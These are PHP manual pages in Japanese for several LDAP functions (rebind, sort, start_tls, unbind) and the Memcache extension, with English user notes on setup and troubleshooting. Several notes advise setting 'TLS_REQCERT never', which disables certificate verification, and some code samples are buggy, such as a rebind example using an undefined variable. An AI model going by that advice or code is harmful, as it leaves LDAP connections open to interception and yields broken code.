mvanbeek at forgetaboutit dot net 15-Jun-2010 11:13
I have had quite a hard time finding good information about chasing referrals so I am adding my tuppence worth here. I still haven't got my test code working fully so please look further down the page for updates.

The way this appears to have to work is that you use this function to set a callback function of your own to connect and bind to the referral server. you need to set this along with forcing v3 ldap and setting the referral chasing to on as part of setting up the initial connection, so just after the connect but before the bind, you need something like:

<?php
        $ds = ldap_connect($server);
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ds, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ds, "rebind");
        ldap_bind($ds,$dn,$pass);
?>

This callback function (called rebind in the above example needs two arguments. These arguments are preset and are supplied when the callback function is called. The first is the ldap link identifier. I assume this is supplied as the function could be used successively by a number of consecutive referrals. The second is the ldap referral URL supplied by the initial server. I have seen notes that say this function must be defined prior to being set by ldap_set_rebind_proc, but as yet I cannot confirm this.

My setup is based on a master - slave ldap server configuration, with the PHP application residing on the slave where it does localhost lookups. When your try to write to the slave ldap server, the server returns a referral URL, and the internal PHP function then calls the callback function.

Despite the code already on this page, which appears to also be used to test the PHP code, I believe it is wrong. I think it simply reconnects to the initial server. I believe that what the callback function should do is to connect to the new server, and bind to it. My test code currently looks like this:

<?php
function rebind($ldap, $referral) {
        global $dn;
        global $pass;
        $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $referral);
        if (!($ldap = ldap_connect($server))){
                echo "reconnect failed - <br>";
                return 1;
        }
        ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ldap, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ldap, "rebind");
        if (!ldap_bind($ldap,$dn,$pass)){
                echo "rebind failed - <br>";
                return 1;
        }
        return 0;
}
?>

As far as I can tell, a return value of 0 means success and any other value means it has failed. The complete lack of documentation doesn't help.

The above code works all the way to authenticating against the new server, but at the moment I appear to be getting an unbind request before it tries to write the record to the new server, so it fails.

I would also recommend adding a ldap_start_tls before the bind as well.
pearcec at commnav dot com 01-May-2003 04:09
PHP expects the ldap function ldap_set_rebind_proc to be the one that has tree parameters.  As far as I can tell this isn't in the 2.0 release of OpenLDAP.  But made it into 2.1.  Configure will tell you

checking for 3 arg ldap_set_rebind_proc... no
night0wl at frost dot ath dot cx 02-Apr-2003 07:19
Couse there was no example code for this function, i had alot of troubles to make it work properly.

So, here is working example:

function rebind_on_ref ($ds, $ldap_url) {
  global $binddn;    // DN used to bind
  global $bindpw;    // password used to bind

  // required by most modern LDAP servers, use LDAPv3
  ldap_set_option($a, LDAP_OPT_PROTOCOL_VERSION, 3);

  if (!ldap_bind($a,$binddn,$bindpw)) {
        print "Cannot bind";
  }
}
randy at kotmail dot com 25-Apr-2002 04:46
If rebind_proc isn't compiled in slapd, your will never get that funtction working. Check out the new alpha release of slapd and rtfm.


LDAP 結果エントリをクライアント側でソートする

  • ≪ ldap_set_rebind_proc
  • ldap_start_tls ≫
  • PHP Manual
  • LDAP 関数
  • LDAP 結果エントリをクライアント側でソートする

ldap_sort

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

ldap_sort — LDAP 結果エントリをクライアント側でソートする

説明

ldap_sort ( resource $link , resource $result , string $sortfilter ) : bool

ldap_search() が返す LDAP 検索結果をソートします。

この関数は、返された結果をクライアント側でソートします。そのため、 サーバー側の sizelimit や ldap_search() で定義した sizelimit に達した場合は期待どおりの結果を得られない可能性があります。

警告

この機能は PHP 7.0.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

パラメータ

link

ldap_connect() が返す LDAP リンク ID。

result

ldap_search() が返す検索結果 ID。

sortfilter

ソートのキーとして使う属性。

例

検索結果をソートします。

例1 LDAP のソート

<?php
     // $ds は有効なリンク ID です (ldap_connect を参照)

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     $sr = ldap_search($ds, $dn, $filter, $justthese);

     // ソート
     ldap_sort($ds, $sr, 'sn');

     // データの取得
     $info = ldap_get_entries($ds, $sr);

User Contributed Notes

fbernardi at bbros dot it 20-Jan-2016 10:30
In order to order by multiple fields you can order your array many times:
For example:

        ldap_sort($link, $result, 'givenname');
        ldap_sort($link, $result, 'sn');
thorben at kapp-hamburg dot de 07-Jan-2011 04:46
I wondered how to sort after a dn, for just show a tree view. I tried to set $sortfilter = 'dn', but that didn't work. Than I tried with a blank string ''. That worked, the entries are sorted by dn.
ben at xsusio dot com 03-Sep-2004 02:33
If you are wanting to sort by multiple attributes, for instance ordering by last name and then first name,  try this function. This is similar to "ORDER BY lastname, firstname"  in SQL.

This function uses an insertion sort algorithm, which is somewhat faster then the old-fashoned bubble sort.  The second argument is an array containing the attributes you want to sort by. (this functon won't do descending or ascending..  feel free to add it!)

<?php
/**
 * @param array $entries
 * @param array $attribs
 * @desc Sort LDAP result entries by multiple attributes.
*/
function ldap_multi_sort(&$entries, $attribs){
    for ($i=1; $i<$entries['count']; $i++){
        $index = $entries[$i];
        $j=$i;
        do {
            //create comparison variables from attributes:
            $a = $b = null;
            foreach($attribs as $attrib){
                $a .= $entries[$j-1][$attrib][0];
                $b .= $index[$attrib][0];
            }
            // do the comparison
            if ($a > $b){
                $is_greater = true;
                $entries[$j] = $entries[$j-1];
                $j = $j-1;
            }else{
                $is_greater = false;
            }
        } while ($j>0 && $is_greater);

        $entries[$j] = $index;
    }
    return $entries;
}
?>
zbaizman at yahoo dot com 06-Aug-2004 06:15
This note may be self-evident, but the functionality of ldap_sort threw off this sometime user of relational databases.

The following code will NOT do what you expect:

<?php

// omitted calls to connect and and bind to LDAP server...

// attributes we want to retrieve from LDAP server
$ldap_attributes = array ( 'cn', 'o', 'mail' ) ;

// retrieve attributes from matching entries
$search_results = ldap_search ( $ldap_conn, 'dc=example,dc=org', '(objectclass=*)', 0, 500, 30 ) ;

// sort entries by last name ('sn')
ldap_sort ( $ldap_conn, $search_results, 'sn' ) ;

?>

The entries will NOT be sorted by last name. Why not? Because LDAP doesn't function like a RDBMS; you cannot sort a result set on an arbitrary field, regardless of whether you "selected" it. You must always include the attribute by which you want to sort your entries among the requested attributes (add 'sn' to $ldap_attributes, in this case).

Hope this is helpful to some other folks who scratched their heads when they tried to sort entries and it didn't work out...
askgopal at sify dot com 04-Sep-2003 08:07
Here's a simple LDAP sort function I wrote:

<?php
function sort_ldap_entries($e, $fld, $order)
{
    for ($i = 0; $i < $e['count']; $i++) {
        for ($j = $i; $j < $e['count']; $j++) {
            $d = strcasecmp($e[$i][$fld][0], $e[$j][$fld][0]);
            switch ($order) {
            case 'A':
                if ($d > 0)
                    swap($e, $i, $j);
                break;
            case 'D':
                if ($d < 0)
                    swap($e, $i, $j);
                break;
            }
        }
    }
    return ($e);
}

function swap(&$ary, $i, $j)
{
    $temp = $ary[$i];
    $ary[$i] = $ary[$j];
    $ary[$j] = $temp;
}
?>

so that it can be invoked like:

<?php
    $entries = sort_ldap_entries($entries, 'mail', 'A'); // sort entries by ascending order of mail
?>

where,
    `$entries' is the array returned by ldap_get_entries() function.

This might be useful to those who still run older versions of PHP (<= 4.2.0) on their web servers :-)
jason dot sokolowski at rotork dot com 06-Sep-2002 01:51
Something real simple i wrote to sort directory searches by a persons last name.

<?php
for($i=0;$i<$result["count"];$i++)
{

$lastname = $result[$i]["sn"][0];

$lnames["$i"]=$lastname;

}//for i

@asort($lnames);
?>
matthew dot j dot gray at uwrf dot edu 25-Jun-2002 02:47
This function applies strcmp() to each attribute (given by sortfilter) in order to sort the entries returned by the server.  To order search results ascending by last name, try passing "sn" as the sortfilter argument.  This function does not play nice with multi-valued attributes.


TLS を開始する

  • ≪ ldap_sort
  • ldap_t61_to_8859 ≫
  • PHP Manual
  • LDAP 関数
  • TLS を開始する

ldap_start_tls

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ldap_start_tls — TLS を開始する

説明

ldap_start_tls ( resource $ldap ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

NOYB at NOYB dot info 12-Oct-2019 05:34
Security Warning:

To avoid the StripTLS attack vulnerability of StartTLS, code your application to not continue unless the connection is successfully upgraded to TLS.

For StripTLS attack vulnerability anatomy details please conduct a web search for "StripTLS".

There is a good article on Wikipedia titled "Opportunistic TLS".  The "Weaknesses and mitigations" section details the StripTLS attack vulnerability.
pficheux at prologue-numerique dot fr 22-Jan-2018 09:30
Windows only: you must add a ldaprc file in your current directory so ldap can validate the server certificate

something like :

# no verification here
TLS_REQCERT never
med dot ezzairi at gmail dot com 11-Sep-2014 10:05
For all users,admins how are using or taying to connect to Microsoft Active Directory with PHP openLDAP extension, Apache,OpenSSL and they are getting:
"Warning: ldap_bind(): Unable to bind to server: Can't contact LDAP server"
here is the solution as i did:
--------------------------------
upgrade to PHP 5.4.x
creat a directory as: C:\openldap\sysconf\ldap.conf

write into this file (ldap.conf):
TLS_CACERT path\to\your\CA\cert\file.crt

(like d:\monCA_Cert\ca.crt)

restart your apache web server, and refresh your page and tell me (allah yar7am lwalidin)in arabic

for more here's my mail:med.ezzairi@gmail.com
deguich at hotmail dot com 04-Jun-2014 12:51
When you have this error:
Warning: ldap_start_tls() [function.ldap-start-tls]: Unable to start TLS: Connect error in /var/www/X.php on line Y

It's probably because of a certificate validity issue. You can check the error by adding debug level:
<?php
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
?>
This can be done before the ldap_connect takes place.

To fix the certificate validity issue:
add
TLS_REQCERT never
in file (create it if not exist)
c:\openldap\sysconf\ldap.conf    <= Windows
/etc/ldap.conf     <= linux
A restart of the web server may be required to apply changes
It's probably not the best solution but it works ...

Another thing to be aware of is that it requires version 3 (version 2 is php default):
<?php
$con = ldap_connect($hostnameSSL);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Another tip : the second parameter of ldap_connect is not used if you use an URL like "ldap://..." (port 389 automatically used) or "ldaps://..."  (port 636 automatically used).
Richard Lynch 02-Mar-2012 05:28
In my experience:

1)
PHP / openldap / whatever could NOT read .pem files.
They had to be .pfx or .cer
(I don't even know which one worked. I converted the .pem to both and called it done.)

2)
In /etc/openldap/ldap.conf you must:
Either set TLS_CACERT /etc/openldap/cacerts/YOURCERT.pfx
Or set TLS_CACERTDIR /etc/openldap/cacerts/
The first one constrains you to a specific cert.
The latter tries all of them in the directory.

3)
You have various options for TLS_REQCERT:
allow (use it if you need it)
require (must have a cert)
You'll have to read openldap docs for the rest.
I used allow, and it worked.
ymmv

4)
I did not change anything in the (very long) default /etc/ldap.conf file

5)
I did not change anything in the self-documenting /etc/autofs_ldap_auth.conf
Mainly because I just found it while typing this up, and I have no idea what it does.  Presumably 'autofs' implies you can mount some LDAP server as a mount point or something at boot... Sounds funky to me, but knock yourself out playing with it.

This was all with various versions of PHP ranging from 5.2 to 5.3  No promises about other versions.

6)
ldapsearch -VV says it's 2.3.43
Dunno if that comes with openldap or I downloaded it separately. Long time ago.  Very handy CLI tool for mucking around without PHP in the middle, so you can cross-check that it's PHP or not.
schmunk at usrbin dot de 26-Sep-2011 03:37
PHP Warning:  ldap_start_tls(): Unable to start TLS: Operations error in /path/to/script.php

Do not use ldap_start_tls() if you've already connected to the LDAP Server via SSL e.g. "ldaps://hostame".
T. Le Meur 19-Oct-2010 06:11
Note that, on Windows, due to a bug in the php_ldap extension for php 5.3.2, the location of the ldap.conf may change.

In this case, PHP expects the ldap.conf file to be in the root filesystem where the Webserver Document root is installed (for instance C:\ldap.conf).

This seems to be fixed in PHP 5.3.3RC1

See the following bug reference:
http://bugs.php.net/bug.php?id=48866
victoriano at uma dot es 14-Jun-2010 12:00
ldaps:// (on port 636) is NOT the same as using STARTTLS on port 389.

The second method upgrades the security of a plain connection to an encrypted channel, which is strongly recommended for plain binding (DN/password).
josselin dot dulac at enscm dot fr 29-Jan-2010 07:19
Note : if you are using OpenLdap client > v2 and PHP > 4.0.4, you don't have to use that function. You just have to specify it using
<?php
ldap_connect("ldaps://yourhostname", 636);
?>

If you use both ldaps:// uri and ldap_start_tls function, you'll get a warning saying that a TLS/SSL session is already open.
jcarlos at dsi dot uclm dot es 01-Dec-2009 05:10
Tested in Linux, ubuntu 9.10, PHP/5.2.10-2 and Apache/2.2.1.2

INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS IN LINUX
=============================================================

I'm not an expert, but it works.

1)I have installed ubuntu 9.10 desktop

2)Packages:
 apt-get install apache2
 apt-get install libapache2-mod-php5
 apt-get install libldap-2.4-2
 apt-get install ldap-utils
 apt-get install libsasl2-modules-ldap
 apt-get install openssl
 apt-get install libsasl2-2
 apt-get install libkrb5-3
 apt-get install php5-ldap
 apt-get install php5-sasl
 apt-get install php5-auth-pam

3)Put the PEM certificate.
 cd /etc/ldap
 mkdir certs
 copy /myhome/mycert.pem /etc/ldap/certs/mycert.pem
 NOTE:webcert.crt rename to mycert.pem. It's the same

4)Edit the file /etc/ldap/ldap.conf and Add:
  TLS_REQCERT never
  TLS_CACERT /etc/ldap/certs/mycert.pem

5)Create file /var/www/ldaptlstest.php:

<?php

   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);

   if(!$ldapbind)
      echo "ERROR";
   else
      echo "OK";
?>

6)Restart the server: /etc/init.d/apache2 restart

7)Open Firefox and write: http://localhost/ldaptlstest.php
;)
jcarlos at dsi dot uclm dot es 26-Nov-2009 03:04
INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS
==================================================

My configuration:
Apache/2.2.14 (Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k PHP/5.2.11

NOTE 1: At the momment, the version 5.3.1 fail with tls
NOTE 2: This example works on windows, but in linux is similar

1) Download the Certificate X.509 (PEM format) from a web browser, I used Firefox. I put the name webcert.crt
2) Create the folder c:\openldap\sysconf
3) Copy the file webcert.crt to c:\openldap\sysconf
4) With notepad you must create the file c:\openldap\sysconf\ldap.conf file. The file contents:
TLS_REQCERT never
TLS_CACERT c:\openldap\sysconf\webcert.crt
5) The code:

<?php
   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);
   if(!$ldapbind)
       echo "ERROR";
   else
       echo "OK";
?>
pataisjsu at Yahoo.com 15-Nov-2007 02:55
I seemingly take forever to make use of ldap_start_tls work.
Especially lacking in document, I was frustrate and almost gave up until I saw this link in the php forum.
I thought it is worth for put the link in here.

http://marc.info/?l=php-windows&m=116127873321748&w=2

it is really work, and it saves me.
technosophos 06-Mar-2007 12:53
If your version was linked against the OpenLDAP libraries, you may want to look at the ldap.conf file for more information about specifying SSL/TLS behavior. Apparently, the settings in ldap.conf make a different in the way SSL/TLS is handled by PHP.
on at cs dot ait dot ac dot th 07-Aug-2006 12:00
More on TLS start.

It seems that either you ldap_connect to ldaps://, port 636 or you ldap_tls_start.

In my case, using ldaps on port 636 (to be sure I enforce TLS) the connection will go like:

$LDAP_SERVER="ldaps://ldap.../";
$LDAP_PORT=636;

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
   }
/*** NO NEED ***
*   if (!ldap_start_tls($ds)) {
*      exit;
*   }
***/
   // now we need to bind anonymously to the ldap server
   $bth = ldap_bind($ds);
   //make your query
bill at strosberg dot com 13-Apr-2005 10:42
Please note there is a difference between ldaps and start-TLS for ldap.  start-TLS uses port 389, while ldaps uses port 636.  ldaps has been deprecated in favour of start-TLS for ldap.  Both encrypted (start-TLS ldap)  and unencrypted ldap (ldap) run on port 389 concurrently.

Errors encountered are generally due to misunderstanding how to implement TLS-encrypted ldap.
claar at no dot spam dot ksu dot edu 28-Jun-2004 03:10
Note that (in my very limited experience) you cannot use the ldaps protocol with tls, or ldap_start_tls() will report "ldap_start_tls(): Unable to start TLS: Operations error", and ldap_error() will return error code 1.

I found that I had to call ldap_connect() with ldap:// rather than ldaps:// for ldap_start_tls() to succeed.  Hope this helps someone!
wirges-at-cerias.purdue.edu 22-Jul-2002 08:19
It should be mentioned, that TLS connections for LDAP *REQUIRE* you to use LDAP Protocol version 3.  By default, PHP uses Protocol 2.
Therefore, if you do not know this, you may be puzzled as to why you get "TLS not supported" error.

To get around this, just use ldap_set_option to make the LDAP connection use Protocol 3 (if supported).

For example:

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
    }
    if (!ldap_start_tls($ds)) {
       fatal_error("Ldap_start_tls failed");
    }
    // now we need to bind anonymously to the ldap server
    $bth = ldap_bind($ds);
    //make your query
}


t61 文字を 8859 文字に変換する

  • ≪ ldap_start_tls
  • ldap_unbind ≫
  • PHP Manual
  • LDAP 関数
  • t61 文字を 8859 文字に変換する

ldap_t61_to_8859

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_t61_to_8859 — t61 文字を 8859 文字に変換する

説明

ldap_t61_to_8859 ( string $value ) : string|false
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

jrble819 at gmail dot com 29-Jan-2016 08:51
This function doesn't appear to exist in PHP 7 even though the docs say it's in PHP 7
14-Apr-2004 07:47
Indeed, utf is the way to go as soon as you use non-english text, if you required portability. Don't forget to utf5_encode either.
The t61_8859 functions seem to be deprecated.


LDAP ディレクトリへのバインドを解除する

  • ≪ ldap_t61_to_8859
  • Memcache ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ディレクトリへのバインドを解除する

ldap_unbind

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_unbind — LDAP ディレクトリへのバインドを解除する

説明

ldap_unbind ( resource $ldap ) : bool

LDAP ディレクトリへのバインドを解除します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ldap_bind() - LDAP ディレクトリにバインドする

User Contributed Notes

kmenard at wpi dot edu 29-Nov-2001 11:47
ldap_unbind kills the link descriptor.  So, if you want to rebind as another user, just bind again; don't unbind.  Otherwise, you'll have to open up a new connection.


Memcache

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • Memcache — Memcache クラス
    • Memcache::add — サーバーに項目を追加する
    • Memcache::addServer — コネクションプールに memcached サーバーを追加する
    • Memcache::close — memcached サーバーとの接続を閉じる
    • Memcache::connect — memcached サーバーへの接続をオープンする
    • Memcache::decrement — 項目の値を減らす
    • Memcache::delete — サーバーから項目を削除する
    • Memcache::flush — サーバー上のすべての既存項目を消去する
    • Memcache::get — サーバーから項目を取得する
    • Memcache::getExtendedStats — プール内のすべてのサーバーの統計情報を取得する
    • Memcache::getServerStatus — サーバーの状態を返す
    • Memcache::getStats — サーバーの統計情報を取得する
    • Memcache::getVersion — サーバーのバージョンを返す
    • Memcache::increment — 項目の値を増やす
    • Memcache::pconnect — memcached サーバーへの持続的な接続をオープンする
    • Memcache::replace — 既存項目の値を置換する
    • Memcache::set — データをサーバーに格納する
    • Memcache::setCompressThreshold — 大きな値に対する自動圧縮処理を有効にする
    • Memcache::setServerParams — サーバーのパラメータおよび状態を、実行時に変更する
  • Memcache 関数
    • memcache_debug — デバッグ出力のオン/オフを切り替える

User Contributed Notes

Lajos Veres 06-Mar-2018 05:30
3.0.8 is not really compatible with PHP 7, but this fork seems to be working:
https://github.com/websupport-sk/pecl-memcache

For new projects, memcacheD sounds safer, but this fork might help to keep  alive some legacy projects.

Debian package manager chose this version: https://github.com/websupport-sk/pecl-memcache/commit/4991c2fff22d00dc81014cc92d2da7077ef4bc86

Based on this:
http://ppa.launchpad.net/ondrej/php/ubuntu/pool/main/p/php-memcache/ https://packages.debian.org/sid/php/php-memcache
xrobau at gmail dot com 07-Sep-2017 01:35
Note that the Memcache 3.0.8 module DOES NOT WORK WITH PHP 7 (or higher)

There is an open bug about this - see https://bugs.php.net/bug.php?id=72887 and over 1 year old at time of writing - however, it appears that development of this module has been abandoned and the MemcacheD module is now the only way to access Memcache through PHP.

If you are writing a NEW tool, and you want to use Memcache, use the MemcacheD library.  If you are trying to repair an old tool, you'll either have to stick with PHP 5.6, or, spend the time reworking your code to use MemcacheD.
Anonymous 23-Feb-2015 08:25
I ran Gabriel's test above and had different results. I did find differences in the objects. For instance:
  'val' => string(7) "4542.32"
  'valD' => double(4542.32)

But, I think this could be resolved. Fairly easily.

 The main issue with the test was that one port is used. I ran another instance of memcached on a different port and changed the code slightly.  I used this code and had better success:

$servers = array(array('localserv', 11212));
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer('localserv', 11211);
$memcacheD->addServers($servers);
$memcacheD->setOption(Memcached::OPT_BINARY_PROTOCOL, true);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    } else {
        print "WAS COMPAT\n";
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    } else {
        print "WAS COMPAT\n";
    }
}
gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


はじめに

Memcache モジュールは、memcached に対する手続き型および オブジェクト指向のインターフェイスを提供します。これは非常に効率的な キャッシュデーモンで、動的な web アプリケーションでの データベースの読み込み量を減らすように設計されています。

Memcache モジュールは、セッション ハンドラ (memcache) も提供します。

memcached についてのより詳細な情報は » http://www.memcached.org/ にあります。

User Contributed Notes

There are no user contributed notes for this page.


要件

このモジュールは、その場でのデータ圧縮機能をサポートするために » zlib の関数を使用しています。 このモジュールをインストールするには Zlib が必要となります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。 この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/memcache.

注意:

オプションで、memcache セッションハンドラのサポートを無効にすることもできます。 'pecl install' のオプションでこれを指定します (デフォルトは有効になっています) が、 PHP のコンパイル時に静的に組み込む場合は configure オプション --disable-memcache-session を使用できます。

User Contributed Notes

andryzeus at ukr dot net 06-Jan-2012 02:10
If you have error with libtool version after make - way to install:
phpize --clean && phpize
rm aclocal.m4
aclocal
autoconf
./configure
make
make install
[memcache-2.2.6, gentoo.x86-64]
Felipe Estrella Barros 16-Oct-2011 03:54
On Slackware, after copilling it, you should copy the file /module/memcache.so to /usr/lib/httpd/modules. Then, the instruction extension=memcache.so must be added into the file /etc/httpd/php.ini

Restart the httpd and it should work!
mit at mitayai dot org 19-Apr-2010 12:47
It is very important to note when reading the information supplied by others on this page that there are two *distinct* memcache PHP implementations for the service "memcached".

1) pecl-memcache
2) pecl-memcached

This page is for the first, pecl-memcache.

If you are looking for pecl-memcached information, visit here:

http://www.php.net/manual/en/book.memcached.php
no at spam4me dot com 11-Dec-2009 03:48
#if apt-get, rpm, or yum doesn't work
cd /usr/src/
wget http://pecl.php.net/get/memcache-2.2.4.tgz
tar -zxvf memcached-2.2.4.tgz
cd memcached-2.2.4
phpize && ./configure --enable-memcache && make
cp modules/memcache.so /usr/lib/php/modules/

# Note: packaged extension modules are now loaded via the .ini files
# found in the directory /etc/php.d
touch /etc/php.d/memcached.ini
echo 'extension=memcache.so' > /etc/php.d/memcached.ini

service httpd restart
mykel dot alvis at gmail dot com 18-Jun-2008 08:01
on Fedora, apparently

yum install php-pecl-memcache


実行時設定

php.ini の設定により動作が変化します。

Memcache 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
memcache.allow_failover | "1" | PHP_INI_ALL | memcache 2.0.2 以降で使用可能です
memcache.max_failover_attempts | "20" | PHP_INI_ALL | memcache 2.1.0 以降で使用可能です
memcache.chunk_size | "8192" | PHP_INI_ALL | memcache 2.0.2 以降で使用可能です
memcache.default_port | "11211" | PHP_INI_ALL | memcache 2.0.2 以降で使用可能です
memcache.hash_strategy | "standard" | PHP_INI_ALL | memcache 2.2.0 以降で使用可能です
memcache.hash_function | "crc32" | PHP_INI_ALL | memcache 2.2.0 以降で使用可能です
session.save_handler | "files" | PHP_INI_ALL | memcache 2.1.2 以降で使用可能です
session.save_path | "" | PHP_INI_ALL | memcache 2.1.2 以降で使用可能です
memcache.protocol | ascii | >PHP_INI_ALL | memcache 3.0.0 以降で使用可能です
memcache.redundancy | 1 | >PHP_INI_ALL | memcache 3.0.0 以降で使用可能です
memcache.session_redundancy | 2 | >PHP_INI_ALL | memcache 3.0.0 以降で使用可能です
memcache.compress_threshold | 20000 | >PHP_INI_ALL | memcache 3.0.3 以降で使用可能です
memcache.lock_timeout | 15 | >PHP_INI_ALL | memcache 3.0.4 以降で使用可能です
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

memcache.allow_failover bool

エラー時に、透過的なフェイルオーバーを行うかどうかを指定します。

memcache.max_failover_attempts int

データの設定や取得を試みるサーバーの数を指定します。 memcache.allow_failover を指定した場合にのみ使用します。

memcache.chunk_size int

データは、ここで指定した大きさに分割されます。 この値を小さくすると、ネットワークに対する書き込みが多くなります。 不可解な速度低下が発生する場合は、この値を 32768 まで大きくしてください。

memcache.default_port string

memcached サーバーに接続する際に、 デフォルトで使用される TCP ポート番号。

memcache.hash_strategy string

キーをサーバーと関連づけるために使用する方式を制御します。この値を consistent にすると、一貫したハッシュを使用します。 これにより、サーバーを追加したり削除したりした際にキーの再マッピングの必要がなくなります。 この値を standard にすると、以前の方法を使用します。

memcache.hash_function string

キーをサーバーに関連づける際に使用するハッシュ関数を制御します。 crc32 は標準の CRC32 ハッシュを、そして fnv は FNV-1a を使用します。

session.save_handler string

memcache をセッションハンドラとして使用するには、この値を memcache と設定します。

session.save_path string

セッションを格納するためのサーバーの URL を、カンマ区切りで指定します。たとえば "tcp://host1:11211, tcp://host2:11211" のようになります。

個々の URL には、そのサーバー用のパラメータを含めることができます。これは Memcache::addServer() メソッドと同じ形式です。たとえば "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15" のようになります。

memcache.protocol string

memcache.redundancy int

memcache.session_redundancy int

memcache.compress_threshold int

memcache.lock_timeout int

User Contributed Notes

kross at escapistmag dot com 22-Mar-2010 09:06
There's a currently undocumented variable that is now available (you can see it in php_info()) for session handling:

memcache.session_redundancy

The default seems to be "2", and it is supposed to influence how many copies of a particular session object that Memcache will store for failover purposes (so with a redundancy of 2, it will store a session on 2 different shards).

This will add slight overhead with extra writes, but overall seems worth it for purposes of failover.


リソース型

memcache モジュールで使用されるリソースは 1 種類で、それは キャッシュサーバーとの接続を指す ID です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

Memcache 定数
名前 | 説明
MEMCACHE_COMPRESSED (int) | Memcache::set()、 Memcache::add() そして Memcache::replace() を実行する際に、同時にデータの圧縮を行います。
MEMCACHE_HAVE_SESSION (int) | この Memcache セッションハンドラが有効な場合に 1、それ以外の場合に 0 となります。
MEMCACHE_USER1 (int) | Memcache::set()、 Memcache::add() そして Memcache::replace() でのユーザー定義のアプリケーションフラグとして使います。
